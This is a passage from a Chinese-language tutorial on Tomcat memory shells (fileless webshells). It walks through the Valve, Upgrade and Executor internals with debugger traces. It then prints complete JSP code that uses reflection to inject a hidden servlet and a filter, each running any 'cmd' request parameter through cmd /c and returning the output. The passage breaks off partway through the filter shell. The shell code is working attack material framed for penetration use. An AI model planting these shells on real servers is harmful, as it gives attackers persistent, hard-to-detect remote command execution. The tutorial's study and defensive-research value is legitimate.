---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter}
---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler}
---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter}
---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler}
---> delegate = {org.springframework.web.server.handler.FilteringWebHandler}
---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}
2.13 Tomcat Valve介绍与运行过程分析
2.13.1 Valve与Pipeline
在众多文章里面,下面的这篇我觉得是讲的最通俗易懂的,这里推荐给大家:
这里我组合引用原文,做了适当的修改,概括一下:
tomcat
中的Container
有4种,分别是Engine
、Host
、Context
和Wrapper
,这4
个Container
的实现类分别是StandardEngine
、StandardHost
、StandardContext
和StandardWrapper
。4
种容器的关系是包含关系,Engine
包含Host
,Host
包含Context
,Context
包含Wrapper
,Wrapper
则代表最基础的一个Servlet
。
tomcat
由Connector
和Container
两部分组成,而当网络请求过来的时候Connector
先将请求包装为Request
,然后将Request
交由Container
进行处理,最终返回给请求方。而Container
处理的第一层就是Engine
容器,但是在tomcat
中Engine
容器不会直接调用Host
容器去处理请求,那么请求是怎么在4
个容器中流转的,4个容器之间是怎么依次调用的呢?
原来,当请求到达Engine
容器的时候,Engine
并非是直接调用对应的Host
去处理相关的请求,而是调用了自己的一个组件去处理,这个组件就叫做pipeline
组件,跟pipeline
相关的还有个也是容器内部的组件,叫做valve
组件。
Pipeline
的作用就如其中文意思一样——管道,可以把不同容器想象成一个独立的个体,那么pipeline
就可以理解为不同容器之间的管道,道路,桥梁。那Valve
这个组件是什么东西呢?Valve
也可以直接按照字面意思去理解为阀门。我们知道,在生活中可以看到每个管道上面都有阀门,Pipeline
和Valve
关系也是一样的。Valve
代表管道上的阀门,可以控制管道的流向,当然每个管道上可以有多个阀门。如果把Pipeline
比作公路的话,那么Valve
可以理解为公路上的收费站,车代表Pipeline
中的内容,那么每个收费站都会对其中的内容做一些处理(收费,查证件等)。
在Catalina
中,4
种容器都有自己的Pipeline
组件,每个Pipeline
组件上至少会设定一个Valve
,这个Valve
我们称之为BaseValve
,也就是基础阀。基础阀的作用是连接当前容器的下一个容器(通常是自己的自容器),可以说基础阀是两个容器之间的桥梁。
Pipeline
定义对应的接口Pipeline
,标准实现了StandardPipeline
。Valve
定义对应的接口Valve
,抽象实现类ValveBase
,4
个容器对应基础阀门分别是StandardEngineValve
,StandardHostValve
,StandardContextValve
,StandardWrapperValve
。在实际运行中,Pipeline
和Valve
运行机制如下图:
这张图是新加坡的Dennis Jacob
在ApacheCON Asia 2022
上的演讲《Extending Valves in Tomcat》中的PPT
中的图片,pdf
链接如下:
https://people.apache.org/~huxing/acasia2022/Dennis-Jacob-Extending-Valves-in-Tomcat.pdf
这篇演讲的录屏在Youtube
上面可以找到:
2.13.2 编写一个简单Tomcat Valve的demo
由于在Tomcat
环境下使用Valve还要配置web.xml,我嫌麻烦,于是直接使用SpringBoot
来搭建。记得这里勾选的是Spring Web
:
然后创建test
目录并在test
目录下创建两个文件,TestValve.java
:
package org.example.valvememoryshelldemo.test;
import java.io.IOException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import org.springframework.stereotype.Component;
@Component
public class TestValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
response.getWriter().write("Valve 被成功调用");
}
}
还有TestConfig.java
:
package org.example.valvememoryshelldemo.test;
import org.apache.catalina.Valve;
import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
import org.springframework.boot.web.server.WebServerFactoryCustomizer;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class TestConfig {
@Bean
public WebServerFactoryCustomizer<TomcatServletWebServerFactory> tomcatCustomizer() {
return factory -> {
factory.addContextValves(getTestValve());
};
}
@Bean
public Valve getTestValve() {
return new TestValve();
}
}
运行效果如下:
2.13.3 Tomcat Valve打入内存马思路分析
我们通常情况下用的都是ValveBase
,点进这个ValveBase
,可以看到是实现了Valve
接口:
点进valve
可以看到该接口代码如下,这里我加上了注释:
package org.apache.catalina;
import java.io.IOException;
import javax.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
public interface Valve {
// 获取下一个阀门
public Valve getNext();
// 设置下一个阀门
public void setNext(Valve valve);
// 后台执行逻辑,主要在类加载上下文中使用到
public void backgroundProcess();
// 执行业务逻辑
public void invoke(Request request, Response response)
throws IOException, ServletException;
// 是否异步执行
public boolean isAsyncSupported();
}
接下来就是调试看看这个valve
的运行流程了,我们在invoke
函数这里下断点调试:
我们看向左下角,看看之前调用到的invoke
方法:
在StandardHostValve.java
中,代码为:
context.getPipeline().getFirst().invoke(request, response);
在StandardEngineValve.java
中,代码为:
host.getPipeline().getFirst().invoke(request, response);
之后的诸如Http11Processor.java
和多线程的部分就不需要我们关注了。既然我们的目的是打入内存马,那根据我们掌握的Tomcat Servlet/Filter/Listener
内存马的思路来看,我们需要通过某种方式添加我们自己的恶意valve
。
我们去掉之前打的断点,在StandardHostValve.java
这里打上断电并重新调试:
然后step into
:
鼠标左键单击这里的getPipeline
即可进入到所调用的函数实现的位置:
再Ctrl+H
进入Pipeline
接口,可以看到是有个addValve
方法:
这不正是我们需要的吗?我们去看看它是在哪儿实现的,直接在addValve
函数处Ctrl+H
找继承该接口的类,可可以看到是在org.apache.catalina.core.StandardPipeline
中:
但是问题就来了,我们无法直接获取到这个StandardPipeline
,而我们能直接获取到的是StandardContext
,那就去看看StandardContext.java
中有没有获取StandardPipeline
的方法。
一眼就能看到我们的老熟人——getPipeline
方法:
那这样以来我们的思路就可以补充完整了,先反射获取StandardContext
,然后编写一个恶意Valve
,最后通过StandardContext.getPipeline().addValve()
添加就可以了。当然,我们也可以反射获取StandardPipeline
,然后再addValve
,这样也是可以的。
2.14 Tomcat Upgrade介绍与打入内存马思路分析
2.14.1 编写一个简单的Tomcat Upgrade的demo
2.14.1.1 利用SpringBoot搭建
我这里在之前的Tomcat Valve
项目的基础上做了简单的修改,删除之前test
目录下的TestValve.java
,新建一个TestUpgrade.java
:
package org.example.valvememoryshelldemo.test;
import org.apache.coyote.*;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import org.springframework.context.annotation.Configuration;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
@Configuration
public class TestUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean b) {
return "hello";
}
@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}
@Override
public String getAlpnName() {
return null;
}
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapper, Adapter adapter, Request request) {
return null;
}
public boolean accept(org.apache.coyote.Request request) {
try {
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
resp.doWrite(ByteBuffer.wrap("\n\nHello, this my test Upgrade!\n\n".getBytes()));
} catch (Exception ignored) {}
return false;
}
}
然后修改TestConfig.java
如下:
package org.example.valvememoryshelldemo.test;
import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory;
import org.springframework.boot.web.server.WebServerFactoryCustomizer;
import org.springframework.stereotype.Component;
@Component
public class TestConfig implements WebServerFactoryCustomizer<TomcatServletWebServerFactory> {
@Override
public void customize(TomcatServletWebServerFactory factory) {
factory.addConnectorCustomizers(connector -> {
connector.addUpgradeProtocol(new TestUpgrade());
});
}
}
运行之后命令行执行命令curl -H "Connection: Upgrade" -H "Upgrade: hello" http://localhost:8080
,效果如下:
2.14.1.2 利用Tomcat搭建
当然也是可以利用Tomcat
来搭建的,只需要TestUpgrade.java
即可,因为里面含有定义的servlet
逻辑:
package org.example;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {
static class MyUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean b) {
return null;
}
@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}
@Override
public String getAlpnName() {
return null;
}
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) {
return null;
}
@Override
public boolean accept(org.apache.coyote.Request request) {
try {
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
resp.doWrite(ByteBuffer.wrap("Hello, this my test Upgrade!".getBytes()));
} catch (Exception ignored) {}
return false;
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
RequestFacade rf = (RequestFacade) req;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);
new MyUpgrade().accept(request1.getCoyoteRequest());
} catch (Exception ignored) {}
}
}
效果如下:
2.14.2 Tomcat Upgrade内存马介绍与相关代码调试分析
这部分主要参考了Sndav
师傅的文章(原文地址为https://tttang.com/archive/1709/
,但是由于图片链接挂掉导致图片无法显示,我们可以访问如下地址查看:https://web.archive.org/web/20220823040415/https://tttang.com/archive/1709/
)以及p4d0rn
师傅的文章(https://p4d0rn.gitbook.io/java/memory-shell/tomcat-middlewares/upgrade
)。
和之前所提到的Spring Interceptor
型内存马有点类似,在渗透过程中,尽管我们打入了内存马,但是因为原有的Filter包含鉴权或者其他功能,可能会导致我们的内存马无法访问,或者因为反向代理而导致我们无法找到对应的路径,这就需要我们在到Filter
这一步之前就得打入内存马。
这里,我引用码哥字节文章(https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09
)里面的一张Tomcat
架构图:
可以清楚地看到,在此之前还有Executor
和Processor
两个模块,本节内容主要讨论后者,在下节中我们会讨论前者。
这一部分需要更加完备的Tomcat
的相关知识,不再满足于之前的四个容器,关于这些基础知识的学习,强烈建议看码哥字节的文章,写的确实特别的好:
https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09
其实在之前学习Tomcat Valve
的过程中,当时我是一步步step over
跟完了所有的代码的,我当时也提了一嘴Http11Processor
。我们还是以当时的项目为例来看。
我们还是在StandardHostValve.java
的这行打上断点:
从上面我红色箭头所指出的地方就可以看到调用到了process
函数,具体调用位置位于org.apache.coyote.AbstractProcessorLight#process
,我们跟过去看看:
可以看到,如果当前SocketWrapperBase
的状态是OPEN_READ
的时候,才会调用对应的processor
去处理(第二张图的process
调用的位置可以通过第一张图左下角的那个process
的后一个process
点进去看到):
我们继续step into
这里的service
方法看看:
继续step over
,可以看到这里在检查header
中的Connection
头中是否为upgrade
,这一点可以通过step into
这个isConnectionToken
方法看到:
之后干两件事情:一是调用getUpgradeProtocol
方法根据upgradedName
从httpUpgradeProtocols
拿到UpgradeProtocol
;二是调用UpgradeProtocol
对象的accept
方法:
到了这里,我们似乎可以建立起一个猜想,和之前介绍的内存马类似,我们只要构造一个恶意的UpgradeProtocol
,然后把它插入到httpUpgradeProtocols
。
由于httpUpgradeProtocols
是一个hashmap
,那么向里面添加的话用到的肯定是put
方法,直接搜httpUpgradeProtocols.put
:
我们在这行打上断点,然后调试,发现在我们没有执行curl -H "Connection: Upgrade" -H "Upgrade: hello" http://localhost:8080
这条命令之前,断点就到了,也就是说,httpUpgradeProtocols.put
这个事情是发生在tomcat
启动的时候的。
那这样一来,思路就更加具体了一点:反射找到httpUpgradeProtocols
,把恶意upgradeProtocol
插入进去即可构成upgrade
内存马,思路和之前是一模一样的。
那现在只需要解决最后一个问题——如何找到httpUpgradeProtocols
的位置。我们打开之前用tomcat
搭建的Tomcat Upgrade
的demo
,在如下位置打下断点,然后执行命令curl -H "Connection: Upgrade" -H "Upgrade: hello" http://localhost:8080/evil
进入断点调试::
step over
一步即可在下方看到request1
属性:
然后在request1
里面的connector
的protocolHandler
里面发现了httpUpgradeProtocols
:
接下来就是一步步地反射了。
2.15 Tomcat Executor内存马介绍与打入内存马思路分析
2.15.1
新建一个项目,配置好tomcat
运行环境和web
目录,然后新建以下两个文件,第一个是TestExecutor.java:
package org.example;
import java.io.IOException;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
public class TestExecutor extends ThreadPoolExecutor {
public TestExecutor() {
super(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS, new SynchronousQueue<>());
}
@Override
public void execute(Runnable command) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
super.execute(command);
}
}
第二个是TestServlet.java
:
package org.example;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
TestExecutor executor = new TestExecutor();
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
executor.execute(() -> {
System.out.println("Execute method triggered by accessing /test");
});
}
}
然后访问浏览器对应context
下的test
路由:
2.15.2 Tomcat Executor内存马介绍与代码调试分析
在2.14.2
节中,我们聊到过可以在Executor
模块中打入内存马,本节就来分析具体流程。本节主要参考文章为以下四篇:
https://p4d0rn.gitbook.io/java/memory-shell/tomcat-middlewares/executor
在我之前提到过的讲tomcat架构的基础文章(https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09
),有详细地讲述ProtocolHandler
组件中的EndPoint
部件,如果之前没有看完整地可以再去看下。里面这张图画的很好,我这里作引用:
2.15.2.1 Endpoint五大组件
如下表所示:
组件 | 描述 |
---|---|
LimitLatch |
连接控制器,控制最大连接数 |
Acceptor |
接收新连接并返回给Poller 的Channel 对象 |
Poller |
监控Channel 状态,类似于NIO 中的Selector |
SocketProcessor |
封装的任务类,处理连接的具体操作 |
Executor |
Tomcat 自定义线程池,用于执行任务类 |
2.15.2.2 Endpoint分类
EndPoint
接口的具体实现类为AbstractEndpoint
,AbstractEndpoint
具体的实现类有AprEndpoint
、Nio2Endpoint
、NioEndpoint
:
Endpoint | 简要解释 | Tomcat 源码位置 |
---|---|---|
AprEndpoint |
使用APR 模式解决异步IO 问题,提高性能 |
org.apache.tomcat.util.net.AprEndpoint |
Nio2Endpoint |
使用代码实现异步IO |
org.apache.tomcat.util.net.Nio2Endpoint |
NioEndpoint |
使用Java NIO 实现非阻塞IO |
org.apache.tomcat.util.net.NioEndpoint |
上面所提到的tomcat
,指的是如下pom
依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-coyote</artifactId>
<version>9.0.83</version>
</dependency>
Tomcat
默认启动是以NioEndpoint
来启动的,它是Tomcat
中默认的负责使用NIO
方式进行网络通信功能的模块,它负责监听处理请求连接,并将解析出的字节流传递给Processor
进行后续的处理。
2.15.2.3 Executor相关代码分析
点开Executor.java
即可看到有一个execute
方法:
Ctrl+Alt+F7
追踪即可看到这个Executor
接口在AbstractEndpoint
这个抽象类中有相关实现:
在AbstractEndpoint.java
中搜索executor
,往下翻即可看到有setExecutor
和getExecutor
这两个函数:
查看getExecutor
函数的调用位置,发现就在该文件中有一个关键调用:
跟过去:
从下面这篇文章中我们可以知道processSocket
在Tomcat
运行过程中的作用:
那此时我们就有一个想法,如果我能控制executor
,我把原来的executor
通过setExecutor
变成我恶意创建的executor
,然后再通过这后面的executor.execute
(org.apache.tomcat.util.threads.ThreadPoolExecutor#execute(java.lang.Runnable)
)一执行就可以加载我们的恶意逻辑了。
但是现在有一个很头疼的问题,那就是标准的ServletRequest
需要经过Adapter
的封装后才可获得,这里还在Endpoint
阶段,其后面封装的ServletRequest
和ServletResponse
无法直接获取。
那怎么办呢?结合之前学过的知识,我们很容易想到在之前我们第一次接触java-object-researcher
的时候,c0ny1
师傅写的这篇文章:
http://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
那就试试看呗,我们导入jar
包到项目之后修改TestServlet.java
代码如下:
package org.example;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import me.gv7.tools.josearcher.entity.Blacklist;
import me.gv7.tools.josearcher.entity.Keyword;
import me.gv7.tools.josearcher.searcher.SearchRequstByBFS;
import java.util.ArrayList;
import java.util.List;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
TestExecutor executor = new TestExecutor();
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
executor.execute(() -> {
System.out.println("Execute method triggered by accessing /test");
});
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("request").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
searcher.setBlacklists(blacklists);
searcher.setIs_debug(true);
searcher.setMax_search_depth(10);
searcher.setReport_save_path("D:\\javaSecEnv\\apache-tomcat-9.0.85\\bin");
searcher.searchObject();
}
}
接着访问路由,然后在控制台输出中搜索request =
:
直接搜索到了这条链:
TargetObject = {org.apache.tomcat.util.threads.TaskThread}
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [15] = {java.lang.Thread}
---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}
---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}
---> connections = {java.util.Map<U, org.apache.tomcat.util.net.SocketWrapperBase<S>>}
---> [java.nio.channels.SocketChannel[connected local=/0:0:0:0:0:0:0:1:8080 remote=/0:0:0:0:0:0:0:1:10770]] = {org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper}
---> socket = {org.apache.tomcat.util.net.NioChannel}
---> appReadBufHandler = {org.apache.coyote.http11.Http11InputBuffer}
---> request = {org.apache.coyote.Request}
我们来验证一下,在org/apache/tomcat/util/net/NioEndpoint.java
的这里下断点,不断step over
,就可以找到这里的request
的位置:
点开这里的byteBuffer
,可以看到它是一个字节数组,右键找到View as ... String
即可变成字符串:
再点击上面我指出来的View Text
即可清楚看到具体内容:
这就意味着我们可以把命令作为header
的一部分传入,再把结果作为header
的一部分传出即可。
三、传统Web型内存马
3.1 Servlet内存马
3.1.1 简单的servlet内存马demo编写
根据我们在上面的2.3
节中的分析可以得出以下结论:
如果我们想要写一个Servlet
内存马,需要经过以下步骤:
- 找到
StandardContext
- 继承并编写一个恶意
servlet
- 创建
Wapper
对象 - 设置
Servlet
的LoadOnStartUp
的值 - 设置
Servlet
的Name
- 设置
Servlet
对应的Class
- 将
Servlet
添加到context
的children
中 - 将
url
路径和servlet
类做映射
由以上结论我们可以写出如下内存马demo
:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.Servlet" %>
<%@ page import="javax.servlet.ServletConfig" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>MemoryShellInjectDemo</title>
</head>
<body>
<%
try {
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String servletURL = "/" + getRandomString();
String servletName = "Servlet" + getRandomString();
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) {}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
String cmd = servletRequest.getParameter("cmd");
{
InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(servletURL, servletName);
response.getWriter().write("[+] Success!!!<br><br>[*] ServletURL: " + servletURL + "<br><br>[*] ServletName: " + servletName + "<br><br>[*] shellURL: http://localhost:8080/test" + servletURL + "?cmd=echo 世界,你好!");
} catch (Exception e) {
String errorMessage = e.getMessage();
response.setCharacterEncoding("UTF-8");
PrintWriter outError = response.getWriter();
outError.println("Error: " + errorMessage);
outError.flush();
outError.close();
}
%>
</body>
</html>
<%!
private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}
%>
访问,执行任意命令:
3.1.2 servlet内存马demo代码分析
先完成第一个任务:找到StandardContext
,代码如下:
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
首先得知道Field
是什么。在Java
中,Field
这个类属于java.lang.reflect
包,用于表示类的成员变量(字段)。Field
类提供了访问和操作类的字段的方法,包括获取字段的名称、类型、修饰符等信息,以及在实例上获取或设置字段的值。这样我们就可以实现在运行时动态获取类的信息,绕过一些访问修饰符的限制,访问和操作类的私有成员。
所以上述代码的含义就是:从当前HttpServletRequest
中获取ServletContext
对象,然后使用反射机制获取ServletContext
类中名为context
的私有字段,并赋值给Field
类型的变量appctx
,把这个变量的属性设置为可访问,这样我们后续可以通过反射获取它的值。接着通过反射获取ServletContext
对象的私有字段context
的值,并将其强制类型转换为ApplicationContext
。接下来继续使用反射机制获取ApplicationContext
类中名为context
的私有字段,并赋值给Field
类型的变量stdctx
,同样将其设置为可访问;最后通过反射获取ApplicationContext
对象的私有字段context
的值,并将其强制类型转换为StandardContext
,到这里,我们就成功找到了StandardContext
。
接着完成第二个任务:继承并编写一个恶意servlet
,代码如下:
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) {}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
String cmd = servletRequest.getParameter("cmd");
{
InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
可以看到,除了service
代码之外,我们还编写了init
、getServletConfig
、getServletInfo
和destroy
方法,可是它们并没有用到,要么返回null
,要么直接留空不写,那我们为什么还要写这四个方法呢?
那我们就来试试看注释掉之后会怎么样:
报错:Class 'Anonymous class derived from Servlet' must implement abstract method 'init(ServletConfig)' in 'Servlet'
。
我们直接跟进Servlet
类,可以看到其是一个接口:
原来,在Java
中,接口中的方法默认都是抽象的,除非在Java 8
及以后的版本中使用了默认方法。并且,如果一个类实现了某个接口,那么它必须提供该接口中所有抽象方法的具体实现,这就是我们必须要写出上述四个方法的原因。
这里我使用cmd /c
来实现可以执行带有空格的命令,例如我在3.1.1
中举例的echo 世界,你好!
;对于Linux
系统,那就是/bin/sh -c
;接着就是关于输入或者返回结果中带有中文的情况的处理,我们需要设置编码为GBK
即可,当然这个就需要具体情况具体对待了。
接着我们需要完成后续的六个任务:创建Wapper
对象、设置Servlet
的LoadOnStartUp
的值、设置Servlet
的Name
、设置Servlet
对应的Class
、将Servlet
添加到context
的children
中、将url
路径和servlet
类做映射,代码如下:
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(servletURL, servletName);
前面几步在之前已经讲过了,这个standardContext.addChild(wrapper);
是为了让我们自定义的servlet
成为Web
应用程序的一部分;然后standardContext.addServletMappingDecoded(servletURL, servletName);
也可以写成如下形式:
// 要引入:<%@ page import="org.apache.catalina.core.ApplicationServletRegistration" %>
ServletRegistration.Dynamic dynamic = new ApplicationServletRegistration(wrapper, standardContext);
dynamic.addMapping(servletURL);
3.1.3 关于StandardContext、ApplicationContext、ServletContext的理解
请参考Skay
师傅和yzddmr6
师傅的文章,他们写的非常详细,这里直接贴出链接:
引用Skay
师傅的一句话总结:
ServletContext
是Servlet
规范;org.apache.catalina.core.ApplicationContext
是ServletContext
的实现;org.apache.catalina.Context
接口是tomcat
容器结构中的一种容器,代表的是一个web
应用程序,是tomcat
独有的,其标准实现是org.apache.catalina.core.StandardContext
,是tomcat
容器的重要组成部分。
关于StandardContext
的获取方法,除了本文中提到的将我们的ServletContext
转为StandardContext
从而获取context
这个方法,还有以下两种方法:
- 从线程中获取StandardContext,参考Litch1师傅的文章:https://mp.weixin.qq.com/s/O9Qy0xMen8ufc3ecC33z6A
- 从MBean中获取,参考54simo师傅的文章:https://scriptboy.cn/p/tomcat-filter-inject/,不过这位师傅的博客已经关闭了,我们可以看存档:https://web.archive.org/web/20211027223514/https://scriptboy.cn/p/tomcat-filter-inject/
- 从spring运行时的上下文中获取,参考 LandGrey@奇安信观星实验室 师傅的文章:https://www.anquanke.com/post/id/198886
这两种方法,如果后面有时间的话我会补充完整。
3.2 Filter内存马
3.2.1 简单的filter内存马demo编写
根据我们在上面的2.6
节中所讨论的内容,我们可以得出以下结论:
如果我们想要写一个Filter
内存马,需要经过以下步骤:
- 获取
StandardContext
; - 继承并编写一个恶意
filter
; - 实例化一个
FilterDef
类,包装filter
并存放到StandardContext.filterDefs
中; - 实例化一个
FilterMap
类,将我们的Filter
和urlpattern
相对应,使用addFilterMapBefore
存放到StandardContext.filterMaps
中; - 通过反射获取
filterConfigs
,实例化一个FilterConfig
(ApplicationFilterConfig
)类,传入StandardContext
与filterDefs
,存放到filterConfig
中。
需要注意的是,一定要先修改filterDef
,再修改filterMap
,不然会抛出找不到filterName
的异常。
由以上结论我们可以写出如下内存马demo
:
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
String filterName = getRandomString();
if (filterConfigs.get(filterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {
}
@Override
public void destroy() {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String cmd = httpServletRequest.getParameter("cmd");
{
InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
